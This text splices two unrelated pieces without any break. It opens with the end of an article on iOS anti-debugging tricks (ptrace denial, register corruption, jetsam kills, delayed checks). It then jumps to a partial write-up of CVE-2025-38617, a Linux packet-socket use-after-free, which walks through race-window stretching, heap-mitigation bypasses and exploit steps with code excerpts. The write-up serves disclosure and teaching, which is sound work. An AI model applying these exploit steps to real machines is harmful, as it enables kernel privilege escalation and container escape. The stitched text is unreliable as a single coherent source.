In most cases, this comes down to ptrace() with PT_DENY_ATTACH. When that flag is set, any attempt to attach a debugger causes the process to terminate, usually through abort() or exit().

The usual way around this is to deal with the termination path rather than the detection. If the app cannot terminate itself, it continues running. Patching the execution flow to bypass calls to abort() and exit() is often enough to keep the process alive and allow runtime inspection.

When PT_DENY_ATTACH is used directly, there are also existing workarounds that modify or disable its behavior so a debugger can attach. These approaches have been documented in detail, including a write-up by Bryce Bostwick that walks through the process of dealing with ptrace() on iOS.

Technique: Runtime anti-debugging with ptrace()

• Call ptrace(PT_DENY_ATTACH) to block debugger attachment

• Trigger process termination when debugging is detected

4. The App That Ruined Its Own Crash Logs

Some apps do not just exit. They also make sure you cannot learn anything from the crash.

We ran into one that behaved normally until you tried to debug it. Then the crash logs stopped being useful. Registers were filled with the same, impossible value, and the backtrace did not point to anything meaningful.

Looking closer, the app was writing garbage into the CPU registers before crashing. In one case, every register was set to a constant like 0x123456789a00. The crash still happened, but the state was no longer trustworthy, so there was nothing useful to extract from it.

This makes it difficult to trace where the detection actually occurred. Even if you hit the right code path, the information you get back is already corrupted.

It does not prevent debugging entirely, but it slows things down. You have to find the check before the crash instead of relying on the crash itself.

Technique: Register corruption for analysis resistance

• Overwrite register state before crashing

• Produce garbage register values in crash logs

• Obscure the origin of detection logic and break backtraces

5. The App That Let iOS Do the Killing

One game app produced probably the weirdest “crash” we have dealt with. The app would run, and as soon as we tried to debug it, it would get terminated without leaving any crash logs.

The reason was memory pressure. Instead of crashing directly through abort() or access violations, the app pushed memory usage high enough to trigger a jetsam condition. On iOS, jetsam is a kernel mechanism that kills processes when the system is under memory pressure or when an app exceeds its memory limits.

Because the system performs the termination, there is no normal crash log. You only get a jetsam record, and the anti-debug detection logic does not show up in any backtrace.

In this case, this behavior was combined with other checks such as jailbreak detection and tracing, which removes the usual approach of following a crash to locate the check.

Technique: Resource exhaustion to trigger jetsam

• Allocate excessive memory to force OS-level termination

• Avoid generating application crash logs

• Leave only system-level jetsam records

6. The App That Kept Checking

Some apps pass the initial checks but still fail later.

In these cases, detection continues in the background and is enforced with delay. When a check fails, the app may record the state and only terminate after a timer elapses. That delay makes it harder to link the crash to the original trigger.

There is often a periodic task acting as a heartbeat. It wakes up at fixed intervals and re-runs parts of the detection logic, so passing checks once does not mean you are in the clear.

This setup makes behavior less predictable. Failures can happen later, without a clear signal of what caused them.

Technique: Continuous detection with delayed enforcement

• Record tamper state and trigger crashes after a delay

• Use timers to decouple detection from enforcement

• Run periodic heartbeat tasks to re-check state

• Re-trigger enforcement even after initial checks pass

Conclusion

Taken together, these examples show how things have changed. What used to be a single check or a simple ptrace() call is now a combination of techniques. Environment checks happen early, debugger detection is enforced at runtime, crash logs are made useless, and in some cases removed entirely through jetsam. On top of that, integrity checks and timed enforcement add another layer that keeps running after launch.

None of these techniques are especially complex on their own. The difficulty comes from how they are combined. You are not dealing with one mechanism, but a system where each part covers gaps left by the others.

For readers who are familiar with protection systems on Windows (anti-cheat, anti-debug, anti-tampering, etc.), you may wonder why they don’t use more aggressive techniques such as kernel level drivers and code injection. The answer is that iOS has a different security model and it does not allow kernel extensions or unsigned code execution.

• Introduction

• Background

  • Packet Sockets

  • Ring Buffers and TPACKET_V3

  • Extended Attributes and simple_xattr

  • Slab Allocator vs Page Allocator

  • Kernel Heap Mitigations

• The Vulnerability

  • The Conditional Zeroing Bug

  • The Race Window and UAF

• The Key Insight: Sleeping Mutex Holders Stretch Race Windows

• The Exploit

  • Stage 0: Winning the Races

  • Stage 1: Page Overflow Primitive (via xattr corruption)

  • Stage 2: Heap Read/Write via pgv Overlap

  • Stage 3: Arbitrary Page Read/Write via pgv Overlap

  • Stage 4: KASLR Bypass via Pipe Buffer

  • Stage 5: Privilege Escalation via Syscall Patching

• The Fix

• Takeaways

Introduction

CVE-2025-38617 is a use-after-free vulnerability in the Linux kernel’s packet socket subsystem, caused by a race condition between packet_set_ring() and packet_notifier(). The bug has existed since Linux 2.6.12 (2005) and was fixed in kernel version 6.16. It allows an unprivileged local attacker — needing only CAP_NET_RAW, obtainable through user namespaces — to achieve full privilege escalation and container escape.

The vulnerability and exploits were discovered and developed by Quang Le, a member of Calif, and submitted as part of Google’s kernelCTF program. Calif provides this complimentary write-up to offer additional background for educational purposes.

This article analyzes the vulnerability, the exploit submission, and the two-line fix. The exploit is notable for its sophistication: it defeats modern kernel mitigations including CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL, builds exploit primitives through a chain of four increasingly powerful stages, and uses creative timing techniques to win two separate race conditions deterministically.

But perhaps the most interesting aspect is the bug-finding heuristic it demonstrates: when a mutex holder sleeps, the time window between lock release and the next critical operation becomes predictable and stretchable, turning otherwise unexploitable code sequences into reliable race conditions.

• Affected versions: Linux 2.6.12 through 6.15

• Affected component: net/packet/af_packet.c (packet socket subsystem)

• Root cause: Race condition leading to use-after-free

• Required capability: CAP_NET_RAW (available via unprivileged user namespaces)

• Fix commit: 01d3c8417b9c

Background

Packet Sockets

Linux packet sockets (AF_PACKET) provide raw access to network interfaces at the link layer. They’re used by tools like tcpdump and wireshark to capture network traffic. When a packet arrives on a network interface, the kernel delivers a copy to any packet socket “hooked” to that interface through a registered protocol hook function.

Packet sockets have a lifecycle tied to network interface state:

• When the interface goes UP, the packet socket’s protocol hook is registered, and the socket enters the PACKET_SOCK_RUNNING state. It can now receive packets.

• When the interface goes DOWN, the hook is unregistered, and the socket stops receiving packets.

These transitions are managed by packet_notifier(), which handles NETDEV_UP and NETDEV_DOWN events.

Ring Buffers and TPACKET_V3

For high-performance packet processing, packet sockets support memory-mapped ring buffers. Instead of copying each packet through recvmsg(), the kernel writes packets directly into a shared memory region that userspace can mmap(). The ring buffer is configured through setsockopt() with PACKET_RX_RING (for receiving) or PACKET_TX_RING (for transmitting), which internally calls packet_set_ring().

The ring buffer consists of multiple “blocks,” each a contiguous allocation of kernel pages. These blocks are tracked by an array of struct pgv pointers:

struct pgv {
    char *buffer;  // pointer to one block of pages
};

The alloc_pg_vec() function allocates this array and each block:

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;
    struct pgv *pg_vec;
    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order);
    }
    return pg_vec;
}

How userspace accesses ring buffer blocks: mmap(). When userspace calls mmap() on a packet socket file descriptor, the kernel’s packet_mmap() handler walks the pgv array and maps each block’s pages into the calling process’s virtual address space as a single contiguous region. Block 0’s pages appear first, followed by block 1’s pages, and so on. The result is that userspace gets a pointer to a memory region where offset 0 is the start of block 0, offset block_size is the start of block 1, etc. Reads/writes to this region go directly to the kernel pages backing the ring buffer, with no syscall overhead.

This mapping is based on what pgv[N].buffer points to at mmap time. The kernel resolves each pgv entry to its underlying physical page and maps that page into userspace. This has a critical implication for the exploit: if an attacker can overwrite a pgv[N].buffer pointer to an arbitrary kernel address and then call mmap(), the kernel will map whatever page lives at that address into userspace — giving the attacker direct read/write access to arbitrary kernel memory. This is exactly how Stages 2 and 3 escalate from a single corrupted pointer to full arbitrary page read/write.

TPACKET_V3, the most recent version of the packet socket ring buffer protocol, adds a block descriptor structure (tpacket_kbdq_core) that tracks which block is currently active, where the next packet header should be written, and when to retire (close) a full block and move to the next. Key fields include:

• pkbdq: pointer to the pgv array (the ring buffer itself)

• kactive_blk_num: index of the currently active block

• nxt_offset: pointer to where the next packet will be written within the current block

• kblk_size: size of each block

• knum_blocks: total number of blocks

• blk_sizeof_priv: size of the per-block private area

Each block’s memory layout starts with a tpacket_block_desc header (48 bytes after alignment), followed by a private area of blk_sizeof_priv bytes, and then the actual packet data region. The private area is configured by userspace via the tp_sizeof_priv field of the tpacket_req3 structure passed to setsockopt(PACKET_RX_RING). The kernel reserves this space at the start of each block and never writes packet data into it — it exists so that userspace applications can store their own per-block metadata (e.g., custom timestamps or statistics). The packet write cursor (nxt_offset) is initialized to block_start + 48 + ALIGN(blk_sizeof_priv, 8), skipping past both the header and the private area. As we’ll see, the exploit sets tp_sizeof_priv = 16248 to position the write cursor precisely where it needs to overflow into an adjacent object.

When a packet arrives, tpacket_rcv() is called, which looks up the current block via pkbdq[kactive_blk_num].buffer, finds the write position (nxt_offset), copies the packet data, and writes metadata headers. This is the function that will access freed memory in our vulnerability.

Extended Attributes and simple_xattr

Extended attributes (xattrs) are name-value pairs that can be attached to files and directories, providing metadata beyond the standard file attributes (permissions, timestamps, etc.). They’re organized into namespaces — security.* for SELinux labels and capabilities, user.* for arbitrary user data, trusted.* for privileged metadata, and so on. Userspace interacts with them through three syscalls: setxattr() to create or update, getxattr() to read, and removexattr() to delete.

Most filesystems store xattrs on disk, but in-memory filesystems like tmpfs have no disk backing. Instead, tmpfs stores xattrs entirely in kernel memory using the simple_xattr infrastructure. Each xattr is represented by a struct simple_xattr. On Linux 6.6 (which the exploit targets), xattrs are organized in a red-black tree:

struct rb_node {
    unsigned long  __rb_parent_color;  // parent pointer + color bit
    struct rb_node *rb_right;
    struct rb_node *rb_left;
};  // 24 bytes

struct simple_xattr {
    struct rb_node rb_node;  // offset 0,  size 24 (tree node pointers)
    char *name;              // offset 24, size 8
    size_t size;             // offset 32, size 8  ← overflow target
    char value[];            // offset 40          (inline value)
};  // total header: 40 bytes

The rb_node at the start of the struct contains three pointers: __rb_parent_color (the parent pointer with the color bit encoded in the lowest bit), rb_right, and rb_left. These point to other simple_xattr nodes in the same red-black tree.

When userspace calls setxattr(”security.foo”, value, size) on a tmpfs file, the kernel allocates a simple_xattr, copies the name and value, and inserts it into the inode’s collection. When getxattr() is called, the kernel traverses the collection comparing names, and when it finds a match, copies size bytes from value[] to the userspace buffer. If the userspace buffer is smaller than size, the kernel returns ERANGE — a behavior the exploit uses to detect corruption.

The simple_xattr is an ideal exploitation target for several reasons:

1. Controlled allocation size. The kmalloc(header + value_size) allocation can be steered to any slab cache or page order by choosing the right value_size. With value_size = 8192, the total allocation (40 + 8,192 = 8,232 bytes) is served from order-2 pages (16 KB).

2. Controlled content. The value[] data is fully attacker-controlled, and the name string is chosen by the attacker.

3. Readable and writable via syscalls. getxattr() reads size bytes starting from value[] — if size is corrupted to a larger value, the kernel reads past the object’s actual data, leaking adjacent heap memory. setxattr() can update the value. removexattr() frees the object.

4. Address leaking via node pointers. The rb_node pointers contain kernel addresses of neighboring nodes in the tree. If an attacker can read these pointers, they learn the kernel addresses of other simple_xattr objects — the starting point for building further primitives.

5. Sprayable. Creating thousands of xattrs on a single tmpfs file is trivial — just call setxattr() in a loop with unique names (”security.groom_0”, “security.groom_1”, ...). The exploit sprays 2,048 of them to fill the heap predictably.

Slab Allocator vs Page Allocator

The Linux kernel has two layers of memory allocation, and understanding the boundary between them is essential to this exploit.

The page allocator (also called the buddy allocator) is the bottom layer. It manages physical memory in power-of-2 page chunks: order-0 (4 KB), order-1 (8 KB), order-2 (16 KB), and so on. Every allocation is page-aligned. When pages are freed, adjacent free pages of the same order merge (”buddy”) into higher-order blocks. Crucially, the page allocator has no segregation by type — all order-2 pages come from the same freelist. A freed order-2 page from a simple_xattr value can be reclaimed by an order-2 pgv array allocation; the page allocator doesn’t know or care what the pages are used for.

The slab allocator (SLUB on modern kernels) sits on top of the page allocator. It requests pages from the buddy allocator and carves them into fixed-size slots for small objects. It has generic size classes (kmalloc-8, kmalloc-16, ... kmalloc-8k) and dedicated caches for specific struct types. Unlike the page allocator, slab caches are segregated — a freed kmalloc-192 slot returns to its specific cache, and can only be reclaimed by another kmalloc-192 allocation.

This boundary is the reason the exploit forces certain allocations to exceed kmalloc-8k (the largest generic slab bucket). An 8,200-byte pgv array can’t fit in kmalloc-8k, so the allocator falls through to the page allocator, where the exploit’s heap grooming controls which freed pages get reclaimed. If the allocation stayed within the slab, freed xattr pages and pgv arrays would live in completely different caches with no way to reclaim each other.

Kernel Heap Mitigations

The kernelCTF mitigation-v4-6.6 environment enables two modern heap mitigations that make traditional cross-cache attacks significantly harder.

CONFIG_RANDOM_KMALLOC_CACHES introduces 16 separate slab caches for each kmalloc size class (e.g., kmalloc-rnd-01-32, kmalloc-rnd-02-32, ... kmalloc-rnd-16-32). When the kernel calls kmalloc(), the allocation is routed to one of these 16 caches based on a hash of the call site address combined with a per-boot random seed. The goal is to prevent an attacker from predicting which cache an allocation lands in, breaking the classic exploit pattern of freeing object A from cache X and reclaiming it with object B from the same cache X. Since A and B come from different call sites, they’ll likely land in different random caches and the reclamation fails.

The bypass: if two allocations come from the same call site (the same line of source code that calls kmalloc/kcalloc), they always hash to the same random cache, regardless of the boot seed. The exploit exploits this by using alloc_pg_vec() — the same function, the same kcalloc() call site — for both the victim ring buffer and the reclamation ring buffer. Both are pgv arrays allocated via kcalloc(block_nr, sizeof(struct pgv), ...) inside alloc_pg_vec(), so they’re guaranteed to land in the same random cache.

CONFIG_SLAB_VIRTUAL (also known as “virtual slab”) ensures that the virtual address range used for one slab cache type is never reused for a different slab cache type. In a normal kernel, freed slab pages can be returned to the page allocator and reallocated to a completely different slab cache, allowing cross-cache attacks. With CONFIG_SLAB_VIRTUAL, each cache gets a dedicated virtual address range — an allocation from kmalloc-64 will always map to a kmalloc-64 virtual address, even after being freed and reallocated. If an attacker frees a kmalloc-64 object and tries to reclaim it with a kmalloc-128 object, the virtual addresses won’t overlap.

The bypass is the same principle: by reclaiming freed ring buffer memory with another ring buffer (same object type, same slab cache), the virtual addresses remain valid. The exploit doesn’t need cross-cache attacks — it uses ring buffers to reclaim ring buffers throughout.

These mitigations force the exploit author into a disciplined pattern: every reclamation must use the same object type from the same call site. As we’ll see, this constraint shapes the entire exploit architecture — from using TX ring buffers to reclaim RX ring buffers, to spraying pgv arrays to reclaim other pgv arrays.

The Vulnerability

The Conditional Zeroing Bug

The root cause is a logic error in packet_set_ring(). When reconfiguring a ring buffer, this function needs to temporarily unhook the packet socket from the network interface to ensure no packets arrive while the ring buffer is being swapped. Here’s the relevant code:

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
        int closing, int tx_ring)
{
    // ...
    spin_lock(&po->bind_lock);
    was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
    num = po->num;
    if (was_running) {
        WRITE_ONCE(po->num, 0);    // Only zeroed if was_running!
        __unregister_prot_hook(sk, false);
    }
    spin_unlock(&po->bind_lock);

    synchronize_net();

    mutex_lock(&po->pg_vec_lock);
    // ... swap ring buffers, free old ring ...
    mutex_unlock(&po->pg_vec_lock);

    spin_lock(&po->bind_lock);
    if (was_running) {
        WRITE_ONCE(po->num, num);   // Only restored if was_running!
        register_prot_hook(sk);
    }
    spin_unlock(&po->bind_lock);
}

The critical issue is the if (was_running) conditional around WRITE_ONCE(po->num, 0). The po->num field determines the protocol number the socket is registered for. When it’s non-zero, the NETDEV_UP handler in packet_notifier() will re-register the protocol hook:

case NETDEV_UP:
    if (dev->ifindex == po->ifindex) {
        spin_lock(&po->bind_lock);
        if (po->num)                    // <-- checks po->num
            register_prot_hook(sk);     // re-hooks the socket!
        spin_unlock(&po->bind_lock);
    }
    break;

The bug: If the packet socket is not currently running when packet_set_ring() is called, po->num retains its original non-zero value. After spin_unlock(&po->bind_lock), there is a window where packet_set_ring() has released the bind lock but has not yet finished reconfiguring the ring buffer. If a NETDEV_UP event arrives during this window, packet_notifier() sees po->num != 0 and calls register_prot_hook(), re-hooking the socket to the network interface. Now the socket can receive packets while packet_set_ring() is in the middle of freeing and replacing the ring buffer.

The Race Window and UAF

The exploit triggers the vulnerability through a two-race sequence:

Race 1: packet_set_ring() vs packet_notifier()

The attacker ensures the packet socket is bound to a network interface but not running (the interface is DOWN). Then:

1. Call packet_set_ring() to free the existing RX ring buffer

2. After packet_set_ring() releases bind_lock but before it acquires pg_vec_lock, bring the interface UP

3. packet_notifier() sees po->num != 0, re-registers the protocol hook

4. The socket is now “running” and can receive packets, even though packet_set_ring() hasn’t finished

Race 2: packet_set_ring() vs tpacket_rcv()

Now that the hook is registered, sending a packet to the interface triggers tpacket_rcv(). This function reads the ring buffer metadata (prb_bdqc) which still points to the old ring buffer. Meanwhile, packet_set_ring() proceeds to free that same ring buffer inside the pg_vec_lock critical section:

mutex_lock(&po->pg_vec_lock);
    swap(rb->pg_vec, pg_vec);     // pg_vec now holds old ring buffer
    // ...
mutex_unlock(&po->pg_vec_lock);
// ...
free_pg_vec(pg_vec, order, req->tp_block_nr);  // free the old ring!

If tpacket_rcv() accesses the ring buffer after it has been freed, we have a use-after-free. The TPACKET_V3 prb_bdqc structure is particularly useful for exploitation because its pointers to the ring buffer (pkbdq, nxt_offset, pkblk_start, etc.) are not zeroed when the ring is freed. The freed pg_vec array has its individual buffer pointers set to NULL by free_pg_vec(), but the prb_bdqc still holds the stale addresses.

The Key Insight: Sleeping Mutex Holders Stretch Race Windows

The most important takeaway from this exploit — and a generalizable bug-finding heuristic for kernel security researchers — is this: if you can make a mutex holder sleep, you can stretch the time window between any lock release and subsequent lock acquisition to an arbitrary duration.

In packet_set_ring(), there’s a critical gap between releasing bind_lock and acquiring pg_vec_lock:

spin_unlock(&po->bind_lock);    // Race 1 window opens
synchronize_net();
mutex_lock(&po->pg_vec_lock);   // Race 1 window closes

Normally, synchronize_net() completes quickly and mutex_lock() succeeds immediately, making this window very tight. But the pg_vec_lock mutex is also acquired by tpacket_snd():

static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    mutex_lock(&po->pg_vec_lock);       // holds the mutex
    // ...
    timeo = wait_for_completion_interruptible_timeout(
        &po->skb_completion, timeo);    // SLEEPS while holding it!
    // ...
    mutex_unlock(&po->pg_vec_lock);
}

The exploit pre-acquires pg_vec_lock by calling sendmsg() on the victim socket’s TX ring in a way that reaches wait_for_completion_interruptible_timeout(). This puts the thread to sleep for a configurable duration (set via SO_SNDTIMEO) while holding the mutex. Now packet_set_ring() blocks at mutex_lock(&po->pg_vec_lock) for a predictable, attacker-controlled period — in this case, one full second.

This transforms a nanosecond-scale race window into a one-second window, making the first race essentially deterministic: there is ample time to bring the network interface UP and register the protocol hook.

This pattern generalizes. When auditing kernel code for race conditions, look for:

1. A sequence where lock A is released, work happens, then lock B is acquired

2. A separate code path that holds lock B and can sleep (mutexes allow sleeping; spinlocks do not)

3. A way to trigger that sleeping code path before the racing code path

If all three conditions are met, the race window between releasing lock A and acquiring lock B becomes arbitrarily stretchable. Code that appeared “safe enough” because the window was tiny becomes trivially exploitable.

The Exploit

The exploit targets the kernelCTF mitigation-v4-6.6 environment — Google’s Container-Optimized OS (COS) with additional kernel security mitigations enabled, running Linux 6.6. It achieves full privilege escalation and container escape. It builds exploit primitives through four stages, each more powerful than the last, culminating in arbitrary kernel memory read/write and shellcode execution.

Stage 0: Winning the Races

First Race: Deterministic via Mutex Barrier

The “first race” isn’t really a traditional race where two threads sprint and one hopes to win by luck. The exploit eliminates the randomness entirely by converting it into a deterministic sequence using a mutex as a barrier.

How tpacket_snd() holds pg_vec_lock while sleeping

The exploit needs a way to hold the pg_vec_lock mutex for a controlled duration. It finds this in tpacket_snd(), the kernel’s TX path for packet sockets. Here’s the relevant code path:

static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    bool need_wait = !(msg->msg_flags & MSG_DONTWAIT);  // [1] controllable

    mutex_lock(&po->pg_vec_lock);                        // [2] grab the mutex

    // ... validate device is UP, etc ...

    do {
        ph = packet_current_frame(po, &po->tx_ring, TP_STATUS_SEND_REQUEST);
        if (unlikely(ph == NULL)) {
            if (need_wait && skb) {                      // [3] need skb != NULL
                timeo = sock_sndtimeo(&po->sk, ...);    // from SO_SNDTIMEO
                timeo = wait_for_completion_interruptible_timeout(
                    &po->skb_completion, timeo);         // [4] SLEEP here!
                if (timeo <= 0) {
                    err = !timeo ? -ETIMEDOUT : -ERESTARTSYS;
                    goto out_put;
                }
            }
            continue;
        }

        skb = NULL;
        tp_len = tpacket_parse_header(po, ph, ...);     // [5] read from TX ring
        if (tp_len < 0) goto tpacket_error;

        skb = sock_alloc_send_skb(&po->sk, ...);        // [6] after this, skb != NULL

        tp_len = tpacket_fill_skb(po, skb, ...);        // [7] can force tp_len < 0
        if (unlikely(tp_len < 0)) {
tpacket_error:
            if (packet_sock_flag(po, PACKET_SOCK_TP_LOSS)) {  // [8]
                __packet_set_status(po, ph, TP_STATUS_AVAILABLE);
                packet_increment_head(&po->tx_ring);
                kfree_skb(skb);
                continue;                                // [9] loop again!
            }
        }
        // ...
    } while (...);

out:
    mutex_unlock(&po->pg_vec_lock);                      // [10] finally release
}

The exploit navigates this code path as follows:

1. Call sendmsg() without MSG_DONTWAIT, so need_wait = true.

2. The mutex is acquired at [2].

3. First loop iteration: a TX frame is found (the exploit pre-wrote TP_STATUS_SEND_REQUEST via mmap()). At [5], tpacket_parse_header() reads tp_len from the mmapped ring — the exploit set tp_len = 1, which is too small, causing tpacket_fill_skb() at [7] to return a negative error. But first, sock_alloc_send_skb() at [6] sets skb != NULL.

4. The PACKET_SOCK_TP_LOSS flag is set (via setsockopt(PACKET_LOSS)), so we hit [8] → [9] and continue back to the top of the loop.

5. Second loop iteration: no more frames with TP_STATUS_SEND_REQUEST, so ph == NULL. Now need_wait == true and skb != NULL (from the first iteration’s allocation), so we enter [3] → [4]: wait_for_completion_interruptible_timeout(). The thread sleeps for SO_SNDTIMEO duration (1 second) while holding pg_vec_lock.

There’s a subtlety: sock_alloc_send_skb() checks sk->sk_err and returns NULL if it’s set. When the interface goes DOWN, packet_notifier() sets sk->sk_err = ENETDOWN. Since the exploit needs the interface to be DOWN later for the bug trigger, it must ensure the interface is still UP when tpacket_snd() runs. The ordering matters.

The deterministic sequence

Setup: the dummy interface and victim socket. The exploit runs inside a user namespace (for CAP_NET_RAW) and a network namespace (for a controlled network environment). It creates a dummy network interface named “pwn_dummy” via netlink (RTM_NEWLINK with IFLA_INFO_KIND = “dummy”), sets its MTU to IPV6_MIN_MTU - 1 (1279 bytes), and brings it UP via ioctl(SIOCSIFFLAGS, IFF_UP | IFF_RUNNING). A dummy interface is ideal because it’s a pure software device — packets sent to it are immediately looped back to the protocol handler, so the exploit doesn’t need any real hardware or network traffic.

The exploit then creates the victim packet socket — an AF_PACKET/SOCK_RAW socket bound to this dummy interface with sll_protocol = htons(ETH_P_ALL) (receive all protocol types). The socket is configured with TPACKET_V3 ring buffers (both TX and RX), PACKET_LOSS enabled, SO_SNDTIMEO set to 1 second, PACKET_RESERVE set to 38, and a 700-instruction BPF filter attached. The RX ring is the one that will be freed during the race; the TX ring provides the frame needed for the tpacket_snd() sleep trick. At this point, the victim socket is UP and actively receiving packets — the starting state needed for the exploit.

Worker threads. The exploit creates three worker threads:

• pg_vec_lock_thread (CPU 0, nice = 19 — lowest priority): Holds the mutex

• pg_vec_buffer_thread (CPU 0, normal priority): Runs packet_set_ring() to free the ring buffer

• tpacket_rcv_thread (CPU 1): Sends the packet that triggers the UAF

The pg_vec_buffer_thread has higher priority than pg_vec_lock_thread on the same CPU. This is critical for the second race’s timing. Both threads are pinned to CPU 0, so only one can run at a time. When tpacket_snd() in pg_vec_lock_thread calls mutex_unlock(&po->pg_vec_lock), the CFS (Completely Fair Scheduler) — Linux’s default process scheduler, which allocates CPU time proportionally based on priority — sees that the woken pg_vec_buffer_thread (nice=0) has higher priority than the running pg_vec_lock_thread (nice=19, the lowest possible priority) and immediately preempts it. This means packet_set_ring() resumes without delay — it frees the old ring buffer pages, and the same thread immediately reclaims them with alloc_pages(). This matters because over on CPU 1, tpacket_rcv() is frozen by the timer interrupt, and that freeze has a finite duration. The entire free-and-reclaim sequence on CPU 0 must complete before the interrupt returns on CPU 1. If pg_vec_lock_thread continued running after the mutex release (burning CPU 0 time on irrelevant cleanup), the reclamation might not finish in time — causing a NULL dereference crash instead of a controlled UAF.

The orchestration proceeds step by step:

Step 1: Lock the mutex. Main thread sends work to pg_vec_lock_thread, which calls sendmsg() → enters tpacket_snd() → acquires po->pg_vec_lock → reaches wait_for_completion_interruptible_timeout() → sleeps. Main thread polls /proc/[tid]/stat until the thread state is S (sleeping), then records pg_vec_lock_acquire_time via clock_gettime(CLOCK_MONOTONIC).

Step 2: Bring the interface DOWN. Main thread calls ioctl(SIOCSIFFLAGS) to set the interface DOWN. This triggers packet_notifier() with NETDEV_DOWN, which unhooks the victim socket (sets PACKET_SOCK_RUNNING = false). The socket is no longer running, but po->num is still non-zero.

Step 3: Trigger packet_set_ring(). Main thread sends work to pg_vec_buffer_thread, which calls setsockopt(PACKET_RX_RING, {tp_block_nr=0}). This enters the free path of packet_set_ring():

• spin_lock(&po->bind_lock)

• was_running = false (interface is DOWN)

• num = po->num (non-zero — this is the bug)

• if (was_running) is false → po->num is NOT zeroed

• spin_unlock(&po->bind_lock) — the race window opens

• synchronize_net() — brief wait

• mutex_lock(&po->pg_vec_lock) — BLOCKS because pg_vec_lock_thread holds it

Main thread polls /proc/[tid]/stat until pg_vec_buffer_thread is sleeping. This confirms that packet_set_ring() has passed the vulnerable bind_lock section and is now blocked on the mutex.

Step 4: Bring the interface UP. Main thread calls ioctl(SIOCSIFFLAGS) to set the interface UP. This triggers packet_notifier() with NETDEV_UP:

case NETDEV_UP:
    spin_lock(&po->bind_lock);
    if (po->num)                  // non-zero — the bug!
        register_prot_hook(sk);   // re-hooks the socket!
    spin_unlock(&po->bind_lock);

The first race is won. The victim socket is now hooked to the interface again — it will receive packets via tpacket_rcv() — but packet_set_ring() is frozen at the mutex, waiting to free the old ring buffer. There was no race to win; the exploit verified each state transition before proceeding to the next.

Second Race: Probabilistic but Enhanced with Three Timing Mechanisms

After winning the first race, the exploit has achieved this state:

• The victim socket is hooked to the network interface (receiving packets via tpacket_rcv())

• packet_set_ring() is frozen, blocked on po->pg_vec_lock held by the sleeping pg_vec_lock_thread

• The pg_vec_lock_thread will wake up after exactly 1 second (the SO_SNDTIMEO timeout)

When the timeout expires and pg_vec_lock_thread releases the mutex, packet_set_ring() resumes. Inside the pg_vec_lock critical section, it does two things: (1) swaps rb->pg_vec to NULL, and (2) changes the protocol hook function from tpacket_rcv to packet_rcv. After releasing the mutex, it calls free_pg_vec() to free the old ring buffer pages.

This hook change is what makes the second race necessary. Once packet_set_ring() switches the hook to packet_rcv, any new packet arriving at the socket will be dispatched to packet_rcv() instead of tpacket_rcv() — and packet_rcv() doesn’t use the ring buffer at all, so there’s no UAF. The exploit cannot simply wait until the ring buffer is freed and then send a packet; by that point, the hook has already been changed.

The only way to get tpacket_rcv() to access freed memory is to have it already dispatched before the hook is changed. The network stack resolves the hook function pointer at packet dispatch time. If a packet is sent to the interface and tpacket_rcv() is called before packet_set_ring() swaps the hook, then tpacket_rcv() will continue executing its code path — including accessing the ring buffer — regardless of what packet_set_ring() does afterward. The function is already on the call stack; the hook pointer swap only affects future packets.

So the second race is about getting tpacket_rcv() to be dispatched before packet_set_ring() changes the hook, and then having tpacket_rcv() dereference the ring buffer pages after packet_set_ring() has freed them. The exploit uses three independent timing mechanisms stacked together to hit this window.

Mechanism 1: Calculated Sleep

The exploit knows exactly when the mutex will be released:

pg_vec_lock_release_time = pg_vec_lock_acquire_time + sndtimeo  // +1 second

The tpacket_rcv_thread receives this timestamp and sleeps until just before the release:

// In tpacket_rcv_thread_fn:
struct timespec sleep_duration = timespec_sub(
    remaining_time_before_pg_vec_lock_release,
    work->decrease_tpacket_rcv_thread_sleep_time  // 5000 ns = 5μs
);
syscall(SYS_nanosleep, &sleep_duration, NULL);
syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work->msg, 0);

The thread wakes up ~5 microseconds before the mutex releases and immediately sends the packet via packet_sendmsg_spkt() — chosen because it has the shortest code path from sendmsg() to dev_queue_xmit() to the protocol hook. The packet traverses the network stack and arrives at tpacket_rcv() on the victim socket.

Mechanism 2: BPF Filter Delay

A 700-instruction classic BPF filter is attached to the victim socket:

struct sock_filter filter[700];
for (int i = 0; i < 699; i++) {
    filter[i].code = BPF_LD | BPF_IMM;
    filter[i].k = 0xcafebabe;          // load immediate — cheap but not free
}
filter[699].code = BPF_RET | BPF_K;
filter[699].k = sizeof(size_t);        // return truncated length = 8 bytes

When the packet arrives and tpacket_rcv() is invoked, it calls run_filter() early in its execution — before it ever touches pkc->pkbdq or any ring buffer pointer. The filter executes all 700 instructions, burning CPU time. During this window, CPU 0 is free to run packet_set_ring(), free the ring buffer, and reclaim it. The final BPF_RET instruction also serves a second purpose: it truncates the packet’s “snapshot length” to exactly 8 bytes (or sizeof(void *)) — the precise number of bytes the exploit wants to overwrite in the overflow target.

Mechanism 3: Timer Interrupt Lengthening (Jann Horn’s Technique)

The BPF filter alone buys only microseconds. The exploit needs to pause tpacket_rcv() on CPU 1 for much longer — long enough for packet_set_ring() on CPU 0 to not only free the ring buffer but also for the reclamation allocation to complete. This is where the timer interrupt technique comes in.

Background: timerfd, epoll, and wait queues. The Linux timerfd_create() syscall creates a file descriptor that delivers timer expiration notifications. Internally, the kernel allocates a timerfd_ctx structure containing an hrtimer (high-resolution timer) and a wait_queue_head (wqh). When the timer fires, the kernel’s hrtimer interrupt handler calls timerfd_tmrproc(), which wakes up all waiters on wqh.

The epoll subsystem is how waiters get added to wqh. When you call epoll_ctl(EPOLL_CTL_ADD) to monitor a timerfd, the kernel calls ep_ptable_queue_proc(), which allocates a wait_queue_entry and adds it to the timerfd’s wqh via add_wait_queue(). Each epoll_ctl() call on a different file descriptor pointing to the same timerfd adds one more entry to this wait queue. So the key insight is: a single timerfd can accumulate an arbitrarily large wait queue by monitoring many dup()’d copies of it through epoll.

